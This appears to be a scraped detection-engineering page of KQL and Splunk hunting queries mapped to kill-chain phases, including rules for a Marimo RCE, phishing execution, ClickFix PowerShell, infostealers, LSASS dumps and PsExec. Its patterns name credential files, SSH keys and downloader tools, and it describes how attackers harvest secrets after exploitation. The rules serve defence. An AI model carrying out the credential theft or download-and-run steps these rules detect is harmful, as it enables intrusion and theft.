| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process · Fake CAPTCHA / clipboard-injected PowerShell (ClickFix / FakeCaptcha)
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key.
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Infostealer — non-browser process accessing browser cookie/login DBs
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
2025-11-214 use cases0 techniques3 kill-chain phases detected
Oracle Fusion Middleware contains a missing authentication for critical function vulnerability, allowing unauthenticated remote attackers to take over Identity Manager. Vendor: Oracle, Product: Fusion Middleware. Federal patch due: 2025-12-12.
CVEsCVE-2025-61757
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-61757")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-61757")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process · Fake CAPTCHA / clipboard-injected PowerShell (ClickFix / FakeCaptcha)
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key.
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Ransomware-style mass file rename / extension change · LSASS process access / dump (credential theft) · Remote service execution — PsExec / SMB lateral movement
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → [LLM] PlushDaemon DaemonicLogistics update-hijack URI pattern (Sogou/Baidu)
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → PowerShell encoded / obfuscated command · Trusted vendor binary / installer launching unusual children · Article-specific behavioural hunt — PlushDaemon compromises network devices for adversary-in-the-middle attacks
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → [LLM] DaemonicLogistics drops payload as logo.gif under masqueraded Tencent QQUpdateMgr path
Command & Control. Beacon to attacker infrastructure for control and tasking. → Beaconing — periodic outbound to small set of destinations · Network connections to article IPs / domains · [LLM] PlushDaemon C2/hijack node contact: wcsset.com or known IPs
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage.
Beaconing — periodic outbound to small set of destinationsCommand & ControlMedium
